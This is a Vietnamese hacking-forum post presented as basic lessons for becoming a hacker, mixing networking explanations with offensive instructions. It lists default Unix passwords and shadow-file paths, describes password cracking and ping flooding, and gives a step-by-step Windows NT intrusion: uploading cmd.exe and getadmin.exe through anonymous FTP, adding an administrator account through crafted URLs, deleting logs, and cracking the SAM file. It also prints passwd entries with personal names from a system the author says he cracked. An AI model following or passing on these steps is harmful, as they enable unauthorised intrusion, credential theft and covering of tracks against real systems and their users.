Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» NewBlueFx TotalFX Windows-FL | 1.11 GB
Tue Dec 17, 2013 12:42 pm by titquarra

» NewBlueFx TotalFX Windows-FL | 1.11 GB
Tue Dec 17, 2013 12:42 pm by titquarra

» Celebrity.Sex.Tape.UNCUT.&.UNRATED.2012.720p.BRrip.x264.YIFY.mp4
Tue Dec 17, 2013 8:32 am by titquarra

» Maya Autodesk Personal Learning Edition 8.5
Tue Dec 17, 2013 7:47 am by titquarra

» Tuyệt Kỹ Đong Giai Chân Kinh (tuyệt Kỹ cua trai)
Thu Aug 23, 2012 5:38 am by Admin

» Tuyệt kỹ cua giai
Thu Aug 23, 2012 5:36 am by Admin

» NETCAT.........
Mon Aug 13, 2012 6:35 am by Admin

» Bảo mật CSDL bằng phương pháp mã hóa.
Tue Apr 17, 2012 10:04 pm by Admin

» Hàm mã hóa MD5 bằng JavaScript
Tue Apr 17, 2012 10:03 pm by Admin

Shopmotion


Affiliates
free forum


Những hiểu biết cơ bản nhất để trở thành Hacker

View previous topic View next topic Go down

Những hiểu biết cơ bản nhất để trở thành Hacker

Post  Admin on Tue Dec 28, 2010 8:53 am

1 . ) Ta cần những gì để bắt đầu ?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập
là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux
hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là
Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có
một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu
bởi 1 byte -> !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có
3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở
lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các
địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà
sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài
địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì
bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI
người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP
được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết
nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người
ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các
cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not show
ip" người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ "systat –n ", và biết
được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có
thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

_ Trong Window : vào Start èRun đánh lệnh “winipcfg” .
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns <your nick>”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế
giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao
đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin
giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát
từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể
vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều
trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi
đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không
có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy
nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và
cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào
máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ
nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie
………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt
được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện
những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ
liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây
lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ
liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang
đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa
chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc
dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) Wink .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự
mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là
dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những
dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những
proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức
thực thi trên dual_homed host hoặc basion host. Những chương trình client của người
sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử
dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết
định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server
sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến
những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server
đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host
homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet.
Điều này thường không tiện lợi, và một số người trể nên thất vọng khi
họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này.
Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi
cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ
thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ
thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc
thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh
nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker
thật sự thì HĐH này không thể thiếu đốI vớI bạn . Nó được sử dụng lập
trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng (
port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số
cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25
.

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn
khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ
xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì
cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo
ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một
account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi
bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập
Default Password thử theo bảng sau :

Account-------------------------Default Password


Root-----------------------------------------------Root
Sys------------------------------------------------Sys / System / Bin
Bin-------------------------------------------------Sys / Bin
Mountfsy------------------------------------------Mountfsys
Nuuc-----------------------------------------------Anon
Anon-----------------------------------------------Anon
User------------------------------------------------User
Games---------------------------------------------Games
Install----------------------------------------------Install
Demo-----------------------------------------------Demo
Guest----------------------------------------------Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị
đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính
đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của
bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một
shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn
nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com
tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền
cho nó .

12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu”
rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì
các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách
hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật
khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng
này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng
ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở
trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ
tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt
để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm (
giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương
trình "CrackerJack" hoặc "John the Ripper" để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn
để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc
tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập
một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký
hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã
được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không
thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker
thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm
file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần
lượt những đường dẫn sau :

AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #of username>/<username>
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure
maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng ,
hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn
phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ
nó đã hết hiệu lực rồI :

arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký
hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem .
14 . ) Vitual port là gì ?

_ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission
Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có
thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng
để truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy
WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP
address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của
chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server
hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định,
ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là
110, SMTP là 25 vân vân.... Người quản trị mạng có thể thay đổi số port mặc
định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối
vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có
lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản
chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó
đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng
có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của
host xxx nhưng đã đuợc nguòi quản trị của host này "map" từ 80 thành 8080.

( Tài liệu của HVA )

15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng
số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết
nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành
các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 --> localhost và
localhost--->127.0.0.1 .

( Tài liệu của HVA )

16 . ) Đôi điều về Wingate :

_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí
dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều
proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên
cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > .
Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng
bạn muốn kết nối vào. VD :

telnet wingate.net
WinGate> victim.com 23

ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP
trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó
.
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang
tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có
WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những
máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan
Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates
bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn
hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã
có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc (
đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate >” thì bạn đã tìm
đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất
nhièu trên mạng .

17 . ) Đôi điều về Traceroute :

_ Traceroute là một chương trình cho phép bạn xác định được đường đi của
các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :

C:\windows>tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa
chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các
gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích)
trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :

host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này
còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40
bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá
trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương
trình traceroute một ICMP message error "Time Exceeded". Traceroute sẽ gởi tiếp một
datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã
giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó
sẽ gởi trở lại cho traceroute một ICMP error message "Port Unreachable". Khi nhận
được ICMP message này, traceroute sẽ biết được đã đến được hệ thống
đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu
sao "*"(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )

18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán
mạng. Tiểu sử của từ "ping" như sau: Ping là tiếng động vang ra khi 1 tàu ngầm
muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó
gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ
là "pong" vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề
cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host,
nếu host đó "pong" lại có nghĩa là host đó tồn tại (hoặc là có thể với tới
đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin
(data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ "ping địa_chỉ_ip", mặc định
sẽ ping 4 lần, nhưng bạn cũng có thể gõ

"ping ip.address -t"

Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

"ping -l (size) địa_chỉ_ip "


Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu
gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định
được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay
trở lại và chia bốn (gọi là "trip time"). Ping cũng có thể được dùng để làm
chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt
ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows
quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ
chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối
phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem
trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút
lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn
một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng
tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách
liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất
cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự.
Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable
Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản
Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó
là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )

19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về
hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số
thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu
:
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ' FTP <the company name>'. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ
đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng
làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :

Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):

Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết
tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra
tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà
dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ
lấy vì nó sẽ có ích cho ta . Nhập "anonymous” trong user nó sẽ xuất hiện dòng
sau :

331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử
đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP ,
bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa (
anonymous ) mà sử dụng “'Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :

Cd /c

Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn
hãy nhanh chóng tìm thư mục 'cgi-bin' . Nếu như bạn may mắn , bạn sẽ tìm được
dễ dàng vì thông thường hệ thống quản lý đã đặt 'cgi-bin' vào nơi mà ta
vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn .
thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để
chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” (
có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put
cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm
trên mạng để lấy 2 file quan trọng nhất đó là 'getadmin.exe' và 'gasys.dll' .
Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok
, coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :

CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The
headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!

Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây
giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :

http://www.dodgyinc.com/cgi-
bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd :
toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần
đánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/getadmin.exe?anhdenday

Vậy là xong rùi đó , bạn hãy disconnect và đến start menu -> find rồi search
computer 'www.dodgyinc.com'. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn
hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd :
toilahacker ) .

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do
đó để xoá dấu vết bạn hãy vào 'Winnt\system32\logfiles' mở file log đó rồI xoá
những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một
thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng
trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20date%2030/04/03

xong rồI bạn hãy xoá file 'getadmin.exe', và 'gasys.dll' từ 'cgi-bin' . Mục đích khi
ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một
cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong
hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về
cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên
cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST&f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account
của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì
trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ
nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này ,
tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ
mất ít thờI gian hơn .

Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ
của một Web site , và làm thế nào để hack một trang web đơn giản nhất
.v.v…
20 . ) Cookie là gì ?

_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site
và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu
nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy
tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà
họ đi qua trong site. Những thông tin này có thể bao gồm tên/định danh người
dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp
nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie.
